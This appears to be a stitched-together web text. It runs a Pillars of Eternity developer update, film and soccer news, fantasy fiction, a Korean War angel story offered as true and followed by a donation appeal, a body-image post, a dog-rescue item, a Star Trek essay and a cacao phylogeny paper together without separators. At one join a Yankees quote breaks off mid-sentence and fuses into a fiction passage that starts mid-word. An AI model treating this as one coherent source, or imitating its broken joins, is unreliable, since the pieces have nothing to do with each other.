It's common in most types of fiction for major characters (or the protagonist at the very least) to follow an arc, in which their character begins a certain way and ends up being changed by the events of the story, sometimes for better, sometimes for worse. But for a video game, that's not really taking advantage of the medium. This is a story about the player's character, told by the player's actions. It stands to reason that the ways in which a companion would change should be dependent on what the player does.
So we have an arc for each of our companions, but each arc has multiple potential endpoints, in just the same way that the plot has multiple endings. Which endpoint the arc ends up at will be, in one way or another, determined by what the player does - whether it's something they say or an action they take or some other choice they make. This was an approach we last took in Fallout: New Vegas and I thought it was something to definitely keep.
Unique, Varied, Relatable Ambassadors
Chris Avellone touched on this in a previous update, and it remains a core goal for us. Pillars of Eternity takes place in a brand new setting. Most players won't know their boreal dwarf chanters from their hearth orlan ciphers. Getting to know companions that run the gamut of races, classes, and cultures will help the setting come alive and hopefully become a place players will find themselves wanting to stay awhile. Each companion, in a sense, becomes an ambassador for his or her race, culture, and class.
And we only have so many companions. So they can't all be snarky elves (or can they?) - they need different characterizations, different voices, different struggles. As a designer, you never know what's going to strike a nerve with a given player. Rarely for our games is there a universal favorite companion - almost always there seems to be an even distribution for how many players like each character. In some ways that's maddening, because how do you adjust for that, but it's also one of the best things about writing companions - as long as you write a character that is authentic in its humanity, somewhere, somebody is going to identify with it, and that will be the character they enjoyed spending time with the most. By varying widely the particulars of each companion's persona and struggles, the hope is that while not everybody will necessarily love every companion, most will find at least one that means something to them.
Lanterns to the Themes
"Why should the player care?" is a question we try to ask ourselves for all aspects of the narrative. When it comes to plot, the question is answered by its themes - they make the plot about something more than a physical struggle.
But again, our narrative is interactive. The themes shouldn't be predetermined morals. There should be many facets to them, and it should fall to the player, not the designer, to decide what his or her perspective winds up being on the theme. To take a well-worn example, if the theme is about the struggle of good vs. evil (don't worry, it's not), the ending shouldn't simply assert that good always triumphs over evil. It should ask the player what he or she believes, given everything they've learned on their journey. Maybe they even surprise themselves with their choice.
That's where companions come in. If we're designing them well, their struggles should tie into the themes on some level. And the resolution they come to, which, because of the interactive dynamism discussed above, is influenced by the player, gives them a distinct perspective on the theme. The goal is that in the process of helping the companions resolve their conflicts, we give the player something to think about for what that might mean in the context of his or her own character, and in the long run, that gives the themes personal meaning when it comes time to resolve them for the player character.
I'd be interested to hear, what do all of you think? Not so much specific characterizations, but more, what are the abstract qualities that make you enjoy and remember a companion? (e.g. They made you laugh, they seemed like a real person, their quest was engrossing, etc.)
Here, Have Some Lore
Compensation for being subjected to the rest of this update.
All my best ideas are stolen. This one I ripped off from our lead level designer, Bobby Null. It is about the undead.
Male and female darguls.
One of the strengths of the Eternity setting, in my opinion, is its ability to put a new spin on the familiar. Let's be honest, you've seen undead before in a video game or two. I bet you've had a virtual conflict with a skeleton or perhaps even a zombie. But no matter how many times we see them, they're fantasy RPG staples - it'd be weird not to have them, and many people would really miss them were they omitted.
So we did some thinking as to how we could have undead but have them be our own special brand of undead that makes sense in this world.
This is How Undead Work
Let's say you are a wealthy noble who would like to cheat death. There are a variety of options at your disposal, but this offer from a shady animancer sounds the most painless. All he is going to do is bind your soul to your body, so that way when you die, your soul stays put and you still retain all your motor control.
Sign me up, you say. Suck on this, death! The animancer sets up some bizarre tools and machines, has you hold onto some copper wires, and before you know it the whole thing is over. He leaves and takes his fee. A few years later you die in a horrific skiing accident. Not to worry! Your soul isn't going anywhere. You are living large, my friend. But here's the thing. Your soul isn't going anywhere, but your body is. It starts to decompose. Slowly at first. A maggot here, a maggot there. And you are starting to get weird cravings, kind of like a pregnant woman, but instead of peanut butter and mayonnaise sandwiches, you could really go for some human flesh.
So you eat some guys. And lo and behold, the decomposition stops! You're cured! Except that after a while, you start to rot again. Over time, you find that eating folks and absorbing the essence from their flesh is the only way to stop decomposition. But after a while you run out of neighbor kids and it gets harder and harder to track down a meal. Flesh is dropping off in chunks. And it feels like your IQ has fallen a few points, like that time you used to live next to that industrial solvent factory. In time, your mind goes as well as your body. You become feral, then near-vegetative, then purely mechanical - your body nothing more than a fleshless marionette.
Revenant bestiary concepts.
What you have just done is experienced the full continuum of undeath. Corporeal undead in this world all suffer from the same malady, and are merely in different stages of decomposition. How do you get this condition? It's usually something that you would get by commissioning an unscrupulous animancer to help you live forever, or by volunteering for a "harmless clinical trial." These ladies and gentlemen have been studying a certain banned piece of literature known as the Theorems of Padgram and are trying to develop a true path to immortality. But there are supposedly other ways - certain alchemical tinctures, ancient architecturally-embedded machinery, self-pleasure (according to some disapproving Dyrwoodan moms), etc.
You start as a fampyr. (And these names are not different-for-the-sake-of-different - they're just following location-appropriate linguistic rules.) By appearances, you're basically a normal person who is going through a bit of a cannibal phase.
Allow yourself to decompose for a while, and you start to lose control of your urges, and your memory begins to slip away. Your self-consciousness is flimsy. You are now what's called a dargul.
Much more decomposition, and you become bestial. Your hair is gone (if it wasn't already), the flesh sags on your bones, and you live only to feed your hunger. You are a gul, but you don't give it much thought at this point. You just think you are hungry.
Then your mind gets really pretty thoroughly rotted, like what happens if you play a lot of FPSes, and you're only running at the basest level of instinct. You have no memory. You, my friend, are a revenant, and you are not very fun at parties.
After the last bit of flesh falls away, and the last mildly complicated neural synaptic path fires for the final time, you're running on pure reflex. You're not even hungry anymore (no stomach!). Your body is a murderous automaton. You are a skeleton, and your next step is dust.
Lastly
It's a fun time for the project. Amazing new level art and some of what I think are our best quests yet are being added every day, and I'm very excited for what's ahead. I personally want to express my appreciation for the thing all of you made happen by backing us, and I want to do everything I can to make sure you guys are suitably rewarded for your efforts.
Thanks for reading and don't forget to fill out your backer surveys. Those of you who have surveys will find them on your account page on the backer portal under the Surveys tab. You have until March 31st before they become as worthless as that Myspace page I had in college with all the animated gifs on it, so get those suckers in. Huge thanks to those who've filled theirs out - the team is already putting that content into the game and it's coming out pretty slick.
Last Lastly... reddit /r/Games AMA
Hey, everyone. This is Brandon. One last note, the Eternity team will be taking part in a reddit AMA in /r/Games. This is scheduled for today at 5:30 PM PST, so be on the lookout.Throw another two Hollywood blockbusters on the barbie! Today, the Australian Government officially announced that Marvel Studios’ Thor: Ragnarok and 20th Century Fox’s Alien: Paradise Lost will film in the land Down Under.
"These two major US productions will inject hundreds of millions of dollars into the economy, employ thousands of people across Australia not just within our screen industry but will also utilise Australian goods and services," said Debra Richards, CEO of Ausfilm. "Productions of this size also contribute to generating skills and training of Australia’s crews and represent a major development and investment opportunity for creative talent both in front of and behind the camera."
Alien: Paradise Lost, the sequel to 2012's Prometheus, will star Naomi Rapace (Elizabeth Shaw) and Michael Fassbender (David the android). It'll be directed by Ridley Scott, who said a month ago filming would begin in March, however, Deadline reported production will take place in the latter part of 2016. Thor: Ragnarok will star Chris Hemsworth (Thor) and Mark Ruffalo (Bruce Banner/The Hulk). It'll be directed by What We Do In The Shadows' Taika Waititi, based on a script by Christopher Yost and Craig Kyle.The MLS announced to it's loyal fan-base the home openers of 2017 recently and it makes interesting reading for the two expansion teams of Minnesota United and Atlanta United. Minnesota United face a tough away trip to the Portland Timbers, while Atlanta welcome the New York Red Bulls to Georgia.
Match week one looks like this:
We have a Friday night fixture to kick the first week of MLS off: Portland Timbers F.C. vs. Minnesota United F.C..
Saturday see's the action ramp up with seven games taking place:
Columbus Crew vs. Chicago Fire LA Galaxy vs. F.C. Dallas Real Salt Lake vs. Toronto F.C. Colorado Rapids vs. New England Revolution D.C. United vs. Sporting Kansas City Houston Dynamo vs. Seattle Sounders F.C. San Jose Earthquakes vs. Montreal Impact Sunday finishes out match week one with three games:
Orlando City S.C. vs. New York City F.C. Atlanta United vs. New York Red Bulls Vancouver Whitecaps vs. Philadelphia Union Teams to watch:
Atlanta United:
Analysing the fixtures, three teams pop right out at us where a lot of the MLS Fantasy points will come from. Atlanta United who have certainly been making some noise down in the South with their managerial, player and possibility T.V. sponsorship signings face a tough match against a New York Red Bulls side who certainly underachieved in the 2016 campaign.
Atlanta United will be hoping that over preseason, (which starts on January 23rd) that Tata Martino will be able to figure out a system which allows his team to gel and become a cohesive side that is both ruthless going forward and miserly at the back. They have made some great signings in: Miguel Almiron, Jeff Larentowicz, Jacob Peterson and Greg Garza as they look to make a big splash in their inaugural season in MLS.
The New York Red Bulls will certainly put it up to Atlanta though, as they look to secure their first three points on the road in Georgia.
New York City F.C.
New York City F.C. had a stellar season last season under former Arsenal player and Manchester City under-21 manager, Patrick Vieria. This was as evidenced in two ways: The Sky Blues run in the league during the season, which in turn secured them a play-off spot for the first time under the Frenchman and also David Villa securing MVP status on the final day of the regular season, ahead of Toronto and New York Red Bull's strikers: Sebastian Giovinco and Bradley Wright-Phillips.
It was a great inaugural season for the Frenchman where it was believed that he would fail, because no previous non-MLS coach had succeeded in his first MLS season.
But, that was last season and this season on MLS opening weekend, NYCFC face a tough away-trip down to Florida and the OC Lions of Orlando City S.C. Orlando City S.C. have been quite during the post season so far, but come opening day, don't be surprised to see the Purple and White's but up a defensive wall against the Sky Blues of New York.
Seattle Sounders F.C.
The Sounders, the MLS Cup champions. This was certainly unexpected, given that Seattle had a less than great or stellar MLS season in 2016. Finishing ninth overall in the final standings, Seattle Sounders F.C were not expected to do much going into the post season, we were looking at teams such as, LA Galaxy, New York Red Bulls, Toronto to name three. Out of nowhere though, Seattle Sounders pounced and secured themselves an MLS Cup after extra-time in Toronto F.C. in Toronto.
A kick to the teeth for Toronto!
This campaign for the Champions, see's them face a road trip to a Houston Dynamo side, that midway through last season, seen them lose their manager and have a very underwhelming season, finishing second from bottom in the overall standings, with only Chicago Fire lower. This game could see the Champions steamrolling their way to their first three points of the season in Houston and I wouldn't be surprised, given that Seattle have acquired the Houston defender Will Bruin during the off-season as well as Harry Shipp from Montreal Impact, whereas Houston Dynamo's only top signing so far is: Romell Quioto from Honduras.One of Aaron Boone’s top priorities when he became Yankees manager was to get to know Gary Sanchez, who was benched briefly by Joe Girardi last season.
Sanchez said he and Boone met Friday night, and the catcher indicated the meeting went well and is confident the two will have a strong working relationship — and he insisted he had no issues with Girardi.
“I always got along with Joe,” Sanchez said through an interpreter Saturday. “I appreciate |
ibalizing a portion of the hava to make new wardens … who had decided on that? How had they been chosen?
“They couldn’t have used the traveling lantern indefinitely,” said Legal. “Perhaps their glimwardens could have harvested enough hearts on a consistent basis to keep it going, but eventually they would have run out of food. I agree that they could have had more time, if they’d wanted it, but the problem with the main lantern appeared to be intractable. It’s unclear how much they had stored in their granary. Either way, after a full day had passed the darklings were tearing into houses and ripping up crops on the outskirts. Perhaps they could have gotten the lantern working again, given a week or two, but they would have been close to starving by that point. They would only have reclaimed a destroyed town. Come winter, most of them would have starved.”
“Better for them to go early than late,” said Philip with a nod. He looked out at the green grass and swaying trees beyond them. It was peaceful here, but the darklings were always laying in wait. “So how did the rest of them die?”
“You caught that, did you?” asked Legal. “Langust started with a thousand and ended with three hundred. Their stories don’t account for it. We think that perhaps there was some infighting, but it would have to have been ferocious to leave so many dead. There’s something that they’re hiding. We’ll get to the truth soon enough, but no one here wants to interrogate people who have lost so much so recently.”
“Your people would prefer being polite to being secure,” replied Philip. He shook his head.
“A strong argument,” said Legal. “But it would mark you as callous, even if you’re right.”
“I would be careful of my phrasing,” said Philip. “I’m always careful with my phrasing.”
“Am I the only one you’re not cautious with?” asked Legal.
“You, and my father,” Philip replied.
“That’s not true,” said Legal. “You only pretend to be honest with him. You’ve said as much, I read between the lines. For all I know, you’re only pretending with me as well. Turning those gears while pretending you care.”
Philip looked at the speaker and frowned. “I apologize if I’ve given you the impression that I’m insincere,” said Philip. For a long moment the sound of the button clicking down echoed in his ears. Legal was supposed to be an ally, someone he could bank on if he ever wanted to venture away from Light’s Hollow. Gossom would just be a stop-over, but it would be better if he had a contact there.
“I’m sorry,” Legal replied. “I’ve had a lot to do here with the refugees coming in. I should probably end our conversation here so I don’t say something foolish.” There was a long pause from the radio. “I’ll talk to you again next week, same time?”
“That sounds good,” replied Philip. He tried to keep the strain from his voice. “Wind’s Voice out.” He shut off the radio before waiting for a response.
People liked Philip. He kept a neat appearance and carried himself like an adult. He was intelligent and, more importantly, diligent. He was always willing to lend a helping hand to those in need, and he took it upon himself to offer aid even when it wasn’t requested. While he had thought about how this behavior would reflect on him and help or hinder his chances to fulfill his desires, and while he had come to the conclusion that helping people was to his benefit, he didn’t think that it would be fair to say that he was kind and helpful only because he thought there was something in it for him. No one had ever levied that accusation against him, but he worried that someday they would, and there would be no way to prove otherwise.
Philip didn’t like people. He didn’t hate people, not as a general rule, but he just didn’t feel the warm glow of affection that others claimed to. There had been a time when he’d thought that everyone else was like him. It was conceivable that no one felt a warm glow of affection towards others, that it was all just a pile of motivated lies meant to deceive others. After all, Philip faked his way through plenty of conversations, giving practiced smiles when social conventions dictated that this was necessary, so why shouldn’t it be the case that everyone else was engaging in mere signaling as well? This theory didn’t hold up under scrutiny though. For one thing, many people were terrible liars. To suppose that there were faking their interactions was to suppose that they were competent liars, or that they were good at one sort of lie but bad at others, or that their transparent lies were just another, more complex form of signaling something. But if that were true, then it meant that Philip knew even less about other people than he thought he did. He had reverted back to a simpler hypothesis; he was unique in some regard, at least among the population of Light’s Hollow. Social interaction did not come naturally to him, so he studied it, and in studying it, became better at it than anyone else seemed to be.
That was why he spent so long in confusion over Legal Multiplier’s rebuff. They had known each other for months now. She was aware of the sort of person he was. She was of a cynical disposition herself, always ready to take the dim view of people or to pick apart their motivations in gory detail. Philip didn’t believe that she was like him, but she was the closest that he had found thus far. He had said nothing that was too far outside the norms of their relationship though. Perhaps she was right that she was under some strain from the refugees, but it seemed likely that instead of the strain causing her discomfort with him, it instead served to expose some underlying problem with their relationship.
If it had been a windy day, Philip might not have seen the darkling. Since the grass and the leaves weren’t rustling, its movements betrayed it. It was black as jet, the color of a night without stars, and what passed for its head was turned towards Philip.
Philip didn’t blink. It was unusual for the darklings to come so close to the border, but the border wouldn’t have been where it was if darklings coming this close was unheard of. Philip felt no fear at its presence; it was a good hundred yards away from him, and it cost the darklings something to come even that close. He didn’t think about the darklings often. They were a feature of the landscape, a constraint that organized society operated under, the same as the need for drinking water and adequate food. There were lanterns to keep them at bay and glimwardens to keep the lanterns fed, which resulted in two of the largest grips on political power.
Soon, if Philip got his way, people would be competing for the right to one of those grips. Most wouldn’t be motivated by politics, they would seek personal pride, material wealth, or social standing. Yet political power was there for the taking as well, if anyone wanted it. Philip watched the darkling with unblinking eyes as he idly touched the knobs of his radio. There was going to be a competition for the new glimwardens. He could enter it himself. Philip mulled over the merits of the idea as the darkling turned away to disappear back into the woods.This is the true story of a Marine wounded in Korea in 1950. Writing to his mother, he told her of a fascinating encounter he experienced in the war. Father Walter Muldy, a U.S. Navy chaplain who spoke to the young Marine and his mother as well as to the outfit commander, always affirmed the veracity of this narrative.
We heard it from someone who read the original letter and retell the story here in all its details and in the first person to better convey some of the impact it must have had when first told by the son to his mother.
Dear Mom,
I am writing to you from a hospital bed. Don’t worry, Mom, I am okay. I was wounded, but the doctor says that I will be up in no time.
But that’s not what I have to tell you, Mom. Something happened to me that I don’t dare tell anyone else for fear of their disbelief. But I have to tell you, the one person I can confide in, though even you may find it hard to believe.
You remember the prayer to Saint Michael that you taught me to pray when I was little: “Michael, Michael of the morning,…” Before I left home for Korea, you urged me to remember this prayer before any confrontation with the enemy. But you really didn’t have to remind me, Mom. I have always prayed it, and when I got to Korea, I sometimes said it a couple of times a day while marching or
resting.
Well, one day, we were told to move forward to scout for Commies. It was a really cold day. As I was walking along, I perceived another fellow walking beside me, and I looked to see who it was.
He was a big fellow, a Marine about 6’4” and built proportionally. Funny, but I didn’t know him, and I thought I knew everyone in my unit. I was glad to have the company and broke the silence between us:
“Chilly today, isn’t it?” Then I chuckled because suddenly it seemed absurd to talk about the weather when we were advancing to meet the enemy.He chuckled too, softly.
“I thought I knew everyone in my outfit,” I continued, “ but I have never seen you before.”
“No,” he agreed, “I have just joined. The name is Michael.”
“Really?! That’s mine, too.”
“I know,” the Marine said, “Michael, Michael of the morning….”
Mom, I was really surprised that he knew about my prayer, but I had taught it to many of the other guys, so I supposed that the newcomer must have picked it up from someone else. As a matter of fact, it had gotten around to the extent that some of the fellows were calling me “Saint Michael.”
Then, out of the blue, Michael said, “There’s going to be trouble ahead.”
I wondered how he could know that. I was breathing hard from the march, and my breath hit the cold air like dense clouds of fog. Michael seemed to be in top shape because I couldn’t see his breath at all. Just then, it started to snow heavily, and soon it was so dense I could no longer hear or see the rest of my outfit. I got a little scared and yelled, “Michael!” Then I felt his strong hand on my shoulder and heard his voice in my ear, “It’s going to clear up soon.”
It did clear up, suddenly. And then, just a short distance ahead of us, like so many dreadful realities, were seven Commies, looking rather comical in their funny hats. But there was nothing funny about them now; their guns were steady and pointed straight in our direction.
“Down, Michael!!” I yelled as I dove for cover. Even as I was hitting the ground, I looked up and saw Michael still standing, as if paralyzed by fear, or so I thought at the time. Bullets were spurting all over the place, and Mom, there was no way those Commies could have missed at that short distance. I jumped up to pull him down, and then I was hit. The pain was like a hot fire in my chest, and as I fell, my head swooned and I remember thinking, “I must be dying…” Someone was laying me down, strong arms were holding me and laying me gently on the snow. Through the daze, I opened my eyes, and the sun seemed to blaze in my eyes. Michael was standing still, and there was a terrible splendor in his face. Suddenly, he seemed to grow, like the sun, the splendor increasing intensely around him like the wings of an angel. As I slipped into unconsciousness, I saw that Michael held a sword in his hand, and it flashed like a million lights.
Later on, when I woke up, the rest of the guys came to see me with the sergeant.
“How did you do it, son?” he asked me.
“Where’s Michael?” I asked in reply.
“Michael who?” The sergeant seemed puzzled.
“Michael, the big Marine walking with me, right up to the last moment. I saw him there as I fell.”
“Son,” the sergeant said gravely, “you’re the only Michael in my unit. I hand-picked all you fellows, and there’s only one Michael. You. And son, you weren’t walking with anyone. I was watching you because you were too far off from us, and I was worried.
Now tell me, son,” he repeated, “how did you do it?”
It was the second time he had asked me that, and I found it irritating.“
How did I do what?”
“How did you kill those seven Commies? There wasn’t a single bullet fired from your rifle.”
“What?”
“Come on, son. They were strewn all around you, each one killed by a swordstroke.”
And that, Mom, is the end of my story. It may have been the pain, or the blazing sun, or the chilling cold. I don’t know, Mom, but there is one thing I am sure about. It happened.
Love your son,
Michael
Can you help out with a gift? God will bless you for chipping in. Your gift will be a big boost in the fight for moral values. $10
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Other DonateAdvertising doesn’t just sell us products. It tells us who we are. It tells us what’s desirable. What’s NORMAL. So says Jean Kilbourne who is internationally recognised for her pioneering work on the image of women in advertising. Her award-winning Killing us Softly films look at the image of women in advertising.
I have been known to bang on a bit about body image, photoshopping andretouching. And I never intend to stop. Watch this clip from Killing us Softly 4 and then watch it again. Now send it to everyone that you know and insist that they watch it too.
[youtube PTlmho_RovY 640 390]
[Thank you Nik Howe for sending me this]
*UPDATE: For those men who genuinely don’t understand why women like me and Jean Kilbourne bang on about this stuff and wonder why we can’t just ACCEPT that magazine images are re-touched and get over it, read this. It may help you to understand where we’re coming from.- Three dogs are safe after being rescued off of Interstate 20. Two Fridays ago, Kristen Koenigsberg, her cousin and her aunt were on their way to Villa Rica when they noticed three dogs walking along the freeway.
“I saw these little tails on the side of the interstate. I was like there's no way," Koenigsberg said.
Instead of continuing on, she turned around.
“I didn't have a plan, but I was like ‘If I can just get them in the vehicle and off the side of the road, I can create my own plan,’” said Koenigsberg.
That is exactly what she did. She started by looking for their owners. She posted on Craigslist ad, but got no response. So, she started looking for animal shelters and settled on Town and Country Veterinary Clinic in Marietta.
Dr. Michael Good runs the clinic that also serves as a no-kill shelter.
"The first thing we did was give them vaccinations and deworm them. We gave them food and water and in 24 hours. They are as happy as they can be. They went from a situation of zero percent probability of a happy ending to 100 percent chance of a happy ending," Good said.
Sebastian, Fagin and Rita are all available for adoption.We all have people in our lives who are so important that their deaths would be tragic at an existential level. Recently, one such person in my life almost died. It wasn't one of those things where he narrowly escaped from sniper fire in a starship fight and we could raise a glass of synthahol in Ten Forward afterwards. He was plugged into life support machines for over a week, unconscious, with doctors shaking their heads and urging us to "be patient." Medical staff said completely terrifying things like "I think he'll probably make it."
I had plenty of time to imagine how my life would be utterly different without him. He's part of the family I've found with my circle of nerdy friends, and losing him would be like losing, well, part of my family. Part of me. Every night when I came home from the hospital, there was only one thing I could do that didn't make me want to cry. I watched Star Trek: Deep Space Nine.
I never really thought of ST:DS9 as a comforting show, or even a particularly brilliant one. I grew up on Star Trek: The Next Generation, so DS9 is definitely "my" era in Star Trek, and I have hazy memories of enjoying it in college. Still, I never really loved DS9 the way I loved Data and Picard and TNG's ongoing wonky obsession with maintaining the Prime Directive on what Guinan called a "ship of peace." Yet in my darkest emotional hour, DS9 was what did it for me. I think that's because the show combined everyday stories of awfulness and political meltdown with an aggressive hopefulness about the future. Call it Utopia ex machina.
War and peace
How do you get a message of universal social democracy out of a world where Bajor struggles with post-colonial poverty while their former oppressors, the Cardassians, team up with the Romulans to start a war on the Dominion? And how do you wrest a sense of justice out of a story where one of the main characters, saloon owner Quark, successfully exploits everyone, including his own brother? The answer is: awkwardly.
I keep thinking about "Past Tense," that two-part episode in season 3 where Sisko, Dax, and Bashir go back to "primitive" Earth in 2024 and take part in the Bell Riots to liberate the walled shantytowns called Sanctuaries. In fact, Sisko has to take the place of rebel leader Gabriel Bell when the real man is killed because the DS9 gang has altered the timeline slightly. There's this very 1990s Star Trek moment where Bashir is tending to the sick in a Sanctuary and is completely shocked by how horrific the health care is. "How could they let it get this bad?" he asks Sisko, who replies that humans didn't stand for this kind of injustice for long because of people like Gabriel Bell.
That kind of dogged Utopianism in the face of our present-day reality comes across as frankly a little bit weird. It seems absurd to imagine we'll go from a world of ghettos to one where it's "obvious" to all humans that eliminating poverty is the only way forward. And today it's even harder to swallow the idea that space station captains of tomorrow will consider what amounts to an Occupy activist as the foundational hero of human civilization.
But as I watched with my sadness-blunted brain, DS9 kept me stumbling onward with its optimism. Episodes vacillate between goofy stories of mirror universes, mystical Bajoran prophesies, and dark tales of the Dominion War. Really annoying things happen, like when Troi's mom has psychic dementia and infects everybody on the station with the lust she feels for Odo. But there are cool character beats cutting through the clutter, like when Changeling Odo and Cardassian Garak bond over how much they dislike the politics of the ruling groups on their home worlds. (Also, I'll confess, I like the Kira/Odo ship.) And over time Sisko proves to be the perfect captain. He always keeps his cool and his sense of humor, which are both pretty important on the wormhole front in the Dominion War.
The sheer counter-intuitive craziness of DS9's optimism is what soothed me as I waited for my human to wake up and live again. No matter how horrific the war gets, the guiding principle of this show is that humanity is on the path toward peace and justice for the oppressed. I think this idea animates TNG and Voyager, too, but the contradiction between lived reality and this ethos is sharpest on DS9. The main characters always strive to take the most rational and humane action they can even in the face of betrayal and misery. Episode after episode, I knew I could count on these space station dwellers to do the right thing—even Quark, who manages to be rather noble at times.
Optimistic realism
Without this stubborn nugget of hope at its core, DS9 would be more like the 2000s version of Battlestar Galactica—a story about space mysticism and war that's laced with a fatalism about humanity. Ron Moore was an executive producer on DS9 and the creator of BSG, so the overlap makes sense. But on DS9, we are immersed in a world where our faith in the basic decency of intelligent beings can remain unshaken. Whether solid or liquid, most of the creatures who live on the space station always do the right thing. And most importantly, the good guys prevail not just because they are good, but because they are able to put their ideals to practical use. More than TNG and Voyager, DS9 helps us understand how humans got from the Bell Riots to social democracy in space. Our heroes do it by resisting imperialism and inequality and by allying themselves with other people who do. That's why the Federation has struck a deal with the Bajorans rather than the Cardassians.
Is this vision of the future realistic? It's easy to say no, but the truth is that I don't know. My beloved person almost died from heart failure and a massive lung infection, but he managed to survive. That wasn't exactly a realistic outcome, either. Humans are surprising animals, and I don't just mean biologically. Colonial governments do topple when people resist them, and, as crazy it sounds, some people always resist.
Could a bunch of decent, rational people headquartered in San Francisco spread an ethos of peaceful exploration throughout our local volume of space in the Milky Way? It sounds nuts and naive, but I refuse to give up hope. The best part is that I'm not alone. Star Trek's popularity over the last 50 years is testimony to the fact that millions of people, over decades, have wanted to share the same fantasy of a better world.
Of course, we're in it for the action and mirror universe Kira shenanigans, too. But fundamentally the appeal of DS9 or Star Trek at-large is that humanity has overcome petty prejudices, class divisions, and an addiction to waste. The idea is that we're on the right path, even if Earth today seems like a shithole. That's the kind of message that really does bring me hope, both on a personal level and as a member of Homo sapiens, a species I still love despite all our flaws.Dated molecular phylogenies of broadly distributed lineages can help to compare patterns of diversification in different parts of the world. An explanation for greater Neotropical diversity compared to other parts of the tropics is that it was an accident of the Andean orogeny. Using dated phylogenies, of chloroplast ndh F and nuclear DNA WRKY sequence datasets, generated using BEAST we demonstrate that the diversification of the genera Theobroma and Herrania occurred from 12.7 (11.6–14.9 [95% HPD]) million years ago (Ma) and thus coincided with Andean uplift from the mid-Miocene and that this lineage had a faster diversification rate than other major clades in Malvaceae. We also demonstrate that Theobroma cacao, the source of chocolate, diverged from its most recent common ancestor 9.9 (7.7–12.9 [95% HPD]) Ma, in the mid-to late-Miocene, suggesting that this economically important species has had ample time to generate significant within-species genetic diversity that is useful information for a developing chocolate industry. In addition, we address questions related to the latitudinal gradient in species diversity within Malvaceae. A faster diversification rate is an explanation for the greater species diversity at lower latitudes. Alternatively, tropical conditions may have existed for longer and occupied greater areas than temperate ones meaning that tropical lineages have had more time and space in which to diversify. Our dated molecular phylogeny of Malvaceae demonstrated that at least one temperate lineage within the family diverged from tropical ancestors then diversified at a rate comparable with many tropical lineages in the family. These results are consistent with the hypothesis that Malvaceae are more species rich in the tropics because tropical lineages within the family have existed for longer and occupied more space than temperate ones, and not because of differences in diversification rate.
Introduction
In his revision of Theobroma, Cuatrecasas (1964) recognized 22 species of understory trees all found in Neotropical lowland rainforests from the Amazon basin to Southern Mexico. Previous phylogenetic analyses (Whitlock and Baum, 1999; Silva and Figueira, 2005) have indicated that Theobroma is sister to Herrania Goudot, a genus of about 20 species monographed by Schultes (1958), and they are both representatives of the tribe Theobromeae (Whitlock et al., 2001) along with two other genera, Glossostemon Desf., with one species from Arabia, and the Neotropical Guazuma Mill., with 2–5 species. Figures 1A–C indicates the distributions of species of Theobroma and Herrania with geo-referenced data taken from the Global Biodiversity Information Facility. The distribution of Theobroma cacao in the Neotropics is plotted separately, together with another widespread species, and this may contain some cultivated individuals. These figures show that Northwestern South America, specifically Colombia, is the most species-rich region for Theobroma, Herrania, and in fact all Theobromeae based on herbarium collections (26 species of Theobromeae can be found in Colombia). Theobroma is of great interest from a biogeographic viewpoint as it is distributed in an area that has been subject to much relatively recent geological activity. It is also of interest because it includes the economically important species Theobroma cacao, the source of chocolate, predicted to be a $100 billion dollar industry by 2016 with worldwide demand increasing by 2.5% a year largely driven by newly emerging markets (Markets and Markets, 2011). However, current cultivation practices face major challenges associated with the advanced age of plantations, the lack of variety of cultivated material, the low density of trees per hectare, low production, a poor comprehensive crop management strategy and fungal and viral diseases (Schnell et al., 2007; Motamayor et al., 2008). There is also a need to ensure the long-term sustainability of this industry by protecting it from the risks posed by climate change. Information on the origin and evolutionary history of Theobroma cacao and its relatives will assist with planning crop improvement strategies.
FIGURE 1
Figure 1. (A-C) Maps indicating distributions of species of Theobroma and Herrania based on GBIF geo-referenced specimens and information from the original descriptions of species that are not found on GBIF. Theobroma cacao may contain some cultivated individuals.
The uplift of the Andes and the bridging of the Panamanian Isthmus are two geological events that have been suggested to have had a profound impact on patterns of Neotropical plant diversification (Gentry, 1982; Burnham and Graham, 1999; Richardson et al., 2001; Knapp and Mallet, 2003; Antonelli et al., 2009; Roncal et al., 2013; Meerow et al., 2015), and may, in part, explain the greater diversity of this region in comparison with the palaeotropics. Hoorn et al. (2010) provided maps at various stage in the development of these geological systems. These events may have produced barriers to the dispersal of lineages restricted to lowland tropical forests and changed the substrate composition and fluvial systems in lowland areas (Roncal et al., 2013), facilitating diversification. The Andean Cordillera extends for 5000 km along the western coast of South America (Gregory-Wodzicki, 2000). The timing of uplift of the Andes varied from north to south and from east to west (Gregory-Wodzicki, 2000; Mora et al., 2010). The Altiplano-Puna of the Central Andes reached no more than a third of its modern elevation of 3700 by 20 Ma and no more than half its modern elevation by 10 Ma (Gregory-Wodzicki, 2000). From the middle Miocene through to the early Pliocene, elevations in the northern Eastern Cordillera of the Andes were no more than 40% of their modern values, but between two and five Ma uplift occurred at a more rapid rate reaching modern elevations by around 2.7 Ma (Gregory-Wodzicki, 2000). In Colombia the Andes divide into the Eastern, Central, and Western Cordilleras. The Western and Central Cordilleras do not reach the northern coast of South America and therefore may not constitute barriers to dispersal for lowland-restricted organisms. The formation of the Eastern Cordillera could therefore have been crucial in erecting a montane barrier to dispersal for lowland restricted plants. The timing at which that barrier became effective in restricting migration will depend on the adaptive or dispersal capacity of individual lineages. Western Amazonia also experienced a period of submergence from the Early Miocene that resulted in the formation of an extensive wetland called the Pebas System that existed from 17 to 11 Ma (Wesselingh et al., 2002; Wesselingh, 2006; Wesselingh and Salo, 2006; Wesselingh and Ramos, 2010). This may also have acted as a barrier to dispersal of lowland wet forest restricted lineages during the period of its existence. Other potential barriers may have been the Llanos grassland ecosystem that spreads from the foothills of the Andes to the coast of Eastern Venezuela or areas of dry forest adjacent to the Andes Mountains in Colombia, e.g., to the north of Los Llanos in Arauca and Casanare or in the Inter-Andean valleys of the Magadalena and Cauca Rivers.
